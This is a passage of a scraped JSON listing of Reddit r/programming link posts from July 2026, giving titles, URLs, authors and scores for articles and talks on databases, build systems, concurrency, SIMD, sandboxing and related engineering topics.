  "permalink": "https://www.reddit.com/r/programming/comments/1v67ohp/sebastian_lague_i_tried_coding_my_own_graphics/",
  "title": "[Sebastian Lague] - I Tried Coding my own Graphics Library",
  "body": null,
  "author": "Pink401k",
  "subreddit": "programming",
  "score": 170,
  "upvoteRatio": 0.94,
  "numComments": 9,
  "createdAt": "2026-07-25T12:55:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/_JGMgpyCTsY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5wthf",
  "url": "https://gazagnaire.org/blog/2026-07-24-domain-safe-codecs.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5wthf/reusing_buffers_in_multicore_ocaml/",
  "title": "Reusing Buffers in Multicore OCaml",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.82,
  "numComments": 3,
  "createdAt": "2026-07-25T03:24:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gazagnaire.org/blog/2026-07-24-domain-safe-codecs.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5qsjv",
  "url": "https://jonathan-frere.com/posts/reactivity-algorithms/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5qsjv/pushing_and_pulling_three_reactivity_algorithms/",
  "title": "Pushing and Pulling: Three Reactivity Algorithms",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 96,
  "upvoteRatio": 0.93,
  "numComments": 4,
  "createdAt": "2026-07-24T22:53:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jonathan-frere.com/posts/reactivity-algorithms/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5oal0",
  "url": "https://pgext.cloud/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5oal0/postgresql_extension_catalog/",
  "title": "PostgreSQL Extension Catalog",
  "body": null,
  "author": "craigkerstiens",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.82,
  "numComments": 3,
  "createdAt": "2026-07-24T21:14:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pgext.cloud/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5ip78",
  "url": "https://civboot.github.io/blog/2026-07-24-build-systems.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5ip78/what_makes_a_good_build_system/",
  "title": "What makes a good build system?",
  "body": null,
  "author": "vitiral",
  "subreddit": "programming",
  "score": 93,
  "upvoteRatio": 0.91,
  "numComments": 79,
  "createdAt": "2026-07-24T17:53:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://civboot.github.io/blog/2026-07-24-build-systems.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5i86w",
  "url": "https://www.youtube.com/watch?v=WJl4ftb5Fxg",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5i86w/carbon_graduating_from_the_experiment_chandler/",
  "title": "Carbon: graduating from the experiment - Chandler Carruth - NDC Toronto 2026",
  "body": null,
  "author": "xoner2",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.81,
  "numComments": 22,
  "createdAt": "2026-07-24T17:36:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=WJl4ftb5Fxg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5e2fz",
  "url": "https://leetarxiv.substack.com/p/writing-a-wikipedia-mediawiki-parser",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5e2fz/writing_a_wikipedia_mediawiki_parser_in_plain_c/",
  "title": "Writing a Wikipedia MediaWiki Parser In Plain C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 5,
  "createdAt": "2026-07-24T15:07:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/writing-a-wikipedia-mediawiki-parser",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v5cpm5",
  "url": "https://kusoroadeolu.github.io/personal-blog/concurrency/Generational-Priority-Queues",
  "permalink": "https://www.reddit.com/r/programming/comments/1v5cpm5/generational_priority_queues_turning_a_concurrent/",
  "title": "Generational Priority Queues: Turning a Concurrent FIFO Queue Into a Bounded Priority Queue",
  "body": null,
  "author": "Polixa12",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-07-24T14:18:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kusoroadeolu.github.io/personal-blog/concurrency/Generational-Priority-Queues",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v55d8t",
  "url": "https://www.usenix.org/conference/osdi26/presentation/sharma",
  "permalink": "https://www.reddit.com/r/programming/comments/1v55d8t/mohabi_disaggregating_and_sandboxing_the_firefox/",
  "title": "Mohabi: Disaggregating and Sandboxing the Firefox JavaScript Engine",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.87,
  "numComments": 0,
  "createdAt": "2026-07-24T08:26:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.usenix.org/conference/osdi26/presentation/sharma",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v53o6s",
  "url": "https://careersatdoordash.com/blog/high-performance-proxy-cache-for-doordash-services/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v53o6s/transparent_highperformance_proxy_cache_for/",
  "title": "Transparent high-performance proxy cache for DoorDash services",
  "body": null,
  "author": "nilukush",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.73,
  "numComments": 1,
  "createdAt": "2026-07-24T06:50:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://careersatdoordash.com/blog/high-performance-proxy-cache-for-doordash-services/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v505dc",
  "url": "http://asa-db.kocoygroup.site",
  "permalink": "https://www.reddit.com/r/programming/comments/1v505dc/a_database_engine_written_in_swiprolog/",
  "title": "A Database Engine Written in SWI-Prolog",
  "body": null,
  "author": "Aires_id",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.85,
  "numComments": 8,
  "createdAt": "2026-07-24T03:50:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://asa-db.kocoygroup.site",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v4pb0a",
  "url": "https://bichanna.github.io/posts/tea-time/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v4pb0a/the_elm_architecture_without_elm/",
  "title": "The Elm Architecture, without Elm",
  "body": "This blog post is about implementing the Elm Architecture (TEA) in C for a Raylib + Clay app",
  "author": "Direct_Beach3237",
  "subreddit": "programming",
  "score": 62,
  "upvoteRatio": 0.87,
  "numComments": 18,
  "createdAt": "2026-07-23T20:13:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bichanna.github.io/posts/tea-time/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v4nubj",
  "url": "https://www.youtube.com/watch?v=5F-2Y1LPRek",
  "permalink": "https://www.reddit.com/r/programming/comments/1v4nubj/filc_garbage_in_memory_safety_out_filip_pizlo_ssw/",
  "title": "Fil-C: Garbage In, Memory Safety Out! - Filip Pizlo | SSW 2026",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.76,
  "numComments": 53,
  "createdAt": "2026-07-23T19:22:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=5F-2Y1LPRek",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v4jw4i",
  "url": "https://artem.krylysov.com/blog/2026/07/23/how-mvcc-and-transactions-work-in-rocksdb/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v4jw4i/how_mvcc_and_transactions_work_in_rocksdb/",
  "title": "How MVCC and Transactions Work in RocksDB",
  "body": null,
  "author": "KAdot",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.75,
  "numComments": 1,
  "createdAt": "2026-07-23T17:04:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://artem.krylysov.com/blog/2026/07/23/how-mvcc-and-transactions-work-in-rocksdb/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v4f5gu",
  "url": "https://mitchellh.com/writing/everyone-should-know-simd",
  "permalink": "https://www.reddit.com/r/programming/comments/1v4f5gu/everyone_should_know_simd/",
  "title": "Everyone Should Know SIMD",
  "body": null,
  "author": "awesomePop7291",
  "subreddit": "programming",
  "score": 407,
  "upvoteRatio": 0.92,
  "numComments": 81,
  "createdAt": "2026-07-23T14:14:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mitchellh.com/writing/everyone-should-know-simd",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v44xfb",
  "url": "https://www.canva.dev/blog/engineering/session-revocations-at-scale/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v44xfb/how_canva_uses_s3_for_loggedin_session_management/",
  "title": "How Canva uses S3 for logged-in session management",
  "body": "I put together a writeup about the interesting technical challenges that led to redesigning Canva's session revocation pipeline that keeps hundreds of millions of user sessions fast and secure. Hopefully some people find the content interesting!",
  "author": "llewvallis",
  "subreddit": "programming",
  "score": 143,
  "upvoteRatio": 0.94,
  "numComments": 22,
  "createdAt": "2026-07-23T05:46:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.canva.dev/blog/engineering/session-revocations-at-scale/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v3j7od",
  "url": "https://www.morling.dev/blog/fast-path-for-fixed-length-lists-in-parquet/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v3j7od/a_fast_path_for_fixedlength_lists_in_parquet/",
  "title": "A Fast Path for Fixed-Length Lists in Parquet",
  "body": null,
  "author": "gunnarmorling",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.75,
  "numComments": 2,
  "createdAt": "2026-07-22T15:20:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.morling.dev/blog/fast-path-for-fixed-length-lists-in-parquet/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v3is9o",
  "url": "https://youtu.be/qFpbcLanUlc",
  "permalink": "https://www.reddit.com/r/programming/comments/1v3is9o/physics_programming_rotation_and_quaternions/",
  "title": "Physics programming  - Rotation and Quaternions",
  "body": "I explain rotations and quaternions. I then implement the latter into my physics engine by replacing the matrix version of angular velocity code with a quaternion version. Lastly, I benchmark the results.",
  "author": "PeterBrobby",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.69,
  "numComments": 1,
  "createdAt": "2026-07-22T15:05:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/qFpbcLanUlc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v3fxxn",
  "url": "https://medium.com/graalvm/sandboxing-script-extensions-with-graalvm-f192a8fb0c5f",
  "permalink": "https://www.reddit.com/r/programming/comments/1v3fxxn/sandboxing_script_extensions_with_graalvm/",
  "title": "Sandboxing Script Extensions with GraalVM",
  "body": null,
  "author": "grashalm01",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.72,
  "numComments": 3,
  "createdAt": "2026-07-22T13:18:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/graalvm/sandboxing-script-extensions-with-graalvm-f192a8fb0c5f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2y3iw",
  "url": "https://towardsdatascience.com/a-gentle-introduction-to-stochastic-programming/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2y3iw/a_gentle_introduction_to_stochastic_programming/",
  "title": "A Gentle Introduction to Stochastic Programming",
  "body": null,
  "author": "Expensive-Cookie-106",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.77,
  "numComments": 6,
  "createdAt": "2026-07-21T22:54:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://towardsdatascience.com/a-gentle-introduction-to-stochastic-programming/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2x23h",
  "url": "https://medium.com/@artem_lajko/what-is-kubara-a-gitops-first-approach-to-reusable-kubernetes-platforms-3f91a060b39c?source=friends_link&sk=2af4822dbf1a6ba31e8ac3b98c3113f4",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2x23h/kubara_a_gitopsfirst_approach_to_reusable/",
  "title": "kubara - A GitOps-First Approach to Reusable Kubernetes Platforms",
  "body": null,
  "author": "Happycodeine",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.7,
  "numComments": 1,
  "createdAt": "2026-07-21T22:13:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@artem_lajko/what-is-kubara-a-gitops-first-approach-to-reusable-kubernetes-platforms-3f91a060b39c?source=friends_link&sk=2af4822dbf1a6ba31e8ac3b98c3113f4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2u18f",
  "url": "https://fagnerbrack.com/what-is-docker-and-what-it-quietly-replaced-602ceb3c9205",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2u18f/what_is_docker_and_what_it_silently_replaced/",
  "title": "What Is Docker, and What It Silently Replaced 🤫..",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.21,
  "numComments": 9,
  "createdAt": "2026-07-21T20:20:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/what-is-docker-and-what-it-quietly-replaced-602ceb3c9205",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2n268",
  "url": "https://programmers.fyi/a-final-reckoning-programming-is-going-back-to-the-nerd-era",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2n268/a_final_reckoning_programming_is_going_back_to/",
  "title": "A Final Reckoning: Programming Is Going Back To The Nerd Era",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.21,
  "numComments": 18,
  "createdAt": "2026-07-21T16:15:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/a-final-reckoning-programming-is-going-back-to-the-nerd-era",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2is6m",
  "url": "https://www.youtube.com/watch?v=ZY7N6ALq2Bw",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2is6m/ast_implementation_for_a_custom_programming/",
  "title": "AST implementation for a custom programming language",
  "body": "The talk host explains how ASTs work and shows how to build them step by step.",
  "author": "Kabra___kiiiiiiiid",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.68,
  "numComments": 0,
  "createdAt": "2026-07-21T13:40:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=ZY7N6ALq2Bw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2eira",
  "url": "https://incident.io/blog/dont-add-a-read-replica-until-youve-read-this",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2eira/dont_add_a_read_replica_until_youve_read_this/",
  "title": "Don't add a read replica until you've read this",
  "body": null,
  "author": "shintoist",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.21,
  "numComments": 2,
  "createdAt": "2026-07-21T10:28:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://incident.io/blog/dont-add-a-read-replica-until-youve-read-this",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2ebui",
  "url": "https://jola.dev/posts/elixir-cluster-101",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2ebui/elixir_cluster_101/",
  "title": "Elixir Cluster 101",
  "body": null,
  "author": "joladev",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-07-21T10:17:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jola.dev/posts/elixir-cluster-101",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2cd9i",
  "url": "https://secretspec.dev/blog/secrets-dont-belong-in-config/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2cd9i/secrets_dont_belong_in_config/",
  "title": "Secrets Don’t Belong in Config",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 171,
  "upvoteRatio": 0.86,
  "numComments": 57,
  "createdAt": "2026-07-21T08:25:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://secretspec.dev/blog/secrets-dont-belong-in-config/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2bwax",
  "url": "https://fzakaria.com/2026/07/20/linux-kernel-will-support-origin-sort-of",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2bwax/linux_kernel_will_support_origin_sort_of/",
  "title": "Linux kernel will support $ORIGIN, sort of",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 305,
  "upvoteRatio": 0.96,
  "numComments": 35,
  "createdAt": "2026-07-21T07:58:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fzakaria.com/2026/07/20/linux-kernel-will-support-origin-sort-of",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v2bahd",
  "url": "https://opencomputer.dev/blog/scaling-one-vm-to-million-sandboxes",
  "permalink": "https://www.reddit.com/r/programming/comments/1v2bahd/how_were_scaling_our_infrastructure_across_4/",
  "title": "How We're Scaling Our Infrastructure Across 4 Clouds To Serve 1M+ Sandboxes",
  "body": null,
  "author": "writer_coder_06",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.63,
  "numComments": 1,
  "createdAt": "2026-07-21T07:22:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://opencomputer.dev/blog/scaling-one-vm-to-million-sandboxes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v24401",
  "url": "https://www.pgedge.com/blog/the-long-road-to-bottomless-postgres",
  "permalink": "https://www.reddit.com/r/programming/comments/1v24401/the_long_road_to_bottomless_postgres_discussing/",
  "title": "The Long Road to Bottomless Postgres: Discussing Neon, pg_mooncake, pg_tier, pg_lake, and ColdFront",
  "body": null,
  "author": "pgEdge_Postgres",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-07-21T01:21:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pgedge.com/blog/the-long-road-to-bottomless-postgres",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1wzhf",
  "url": "https://arxiv.org/abs/2607.16100",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1wzhf/every_microsecond_matters_achieving_near/",
  "title": "Every Microsecond Matters: Achieving Near Speed-of-Light Latency in GPU Collectives",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.85,
  "numComments": 1,
  "createdAt": "2026-07-20T20:26:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2607.16100",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1u07o",
  "url": "https://mohamed.computer/posts/the-message-arrived/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1u07o/the_message_arrived_did_the_operation_succeed_on/",
  "title": "The Message Arrived. Did the Operation Succeed? On End-to-End Arguments in System Design.",
  "body": null,
  "author": "cipherself",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-07-20T18:37:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mohamed.computer/posts/the-message-arrived/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1sg8b",
  "url": "https://www.architecture-weekly.com/p/throw-result-or-neither",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1sg8b/throw_result_or_neither/",
  "title": "Throw, Result, or neither?",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 114,
  "upvoteRatio": 0.89,
  "numComments": 115,
  "createdAt": "2026-07-20T17:43:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/throw-result-or-neither",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1p25q",
  "url": "https://deepsystemstuff.com/generalised-inverted-index-gin-index-in-postgre-sql/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1p25q/how_generalized_inverted_index_works_internally/",
  "title": "How Generalized Inverted Index works internally in Postgre SQL",
  "body": "Regular Indexing works on a column level; it indexes the entire column value, but if you want to index each value in one row, then the GIN indexing technique is used.\n\nGIN can index each element of JSON stored in a JSONB field \n\nHow Postgres creates a GIN file physically, what is the format of that file, how that file is retrieved in RAM while fetching records, what data types are used, and how Postgres calculates the exact address of an element of JSON are all explained in the article",
  "author": "Ok_Stomach6651",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.73,
  "numComments": 13,
  "createdAt": "2026-07-20T15:40:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deepsystemstuff.com/generalised-inverted-index-gin-index-in-postgre-sql/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1p0a9",
  "url": "https://ledger.khushal.net/chapters/lsm-tree",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1p0a9/the_lsm_tree/",
  "title": "The LSM Tree",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.59,
  "numComments": 23,
  "createdAt": "2026-07-20T15:38:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ledger.khushal.net/chapters/lsm-tree",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v1lqdd",
  "url": "https://sooniln.github.io/posts/hashmap-benchmarks-2026/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v1lqdd/comprehensive_jvm_primitive_hashtable_benchmarks/",
  "title": "Comprehensive JVM Primitive Hashtable Benchmarks",
  "body": null,
  "author": "tooilln",
  "subreddit": "programming",
  "score": 44,
  "upvoteRatio": 0.86,
  "numComments": 14,
  "createdAt": "2026-07-20T13:34:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sooniln.github.io/posts/hashmap-benchmarks-2026/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0xaws",
  "url": "https://packagemain.tech/p/terminal-ui-bubble-tea",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0xaws/developing_a_tui_in_go_with_bubble_tea/",
  "title": "Developing a TUI in Go with Bubble Tea",
  "body": null,
  "author": "der_gopher",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 6,
  "createdAt": "2026-07-19T17:56:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://packagemain.tech/p/terminal-ui-bubble-tea",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0vext",
  "url": "https://hashcloak.com/blog/a-tutorial-on-building-a-merkle-tree-air-script-in-plonky3?utm_source=reddit&utm_medium=social&utm_campaign=plonky_tutorial&utm_content=rprog",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0vext/a_tutorial_on_building_a_merkle_tree_air_script/",
  "title": "A tutorial on building a merkle tree AIR script in Plonky3",
  "body": null,
  "author": "badcryptobitch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 1,
  "createdAt": "2026-07-19T16:43:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
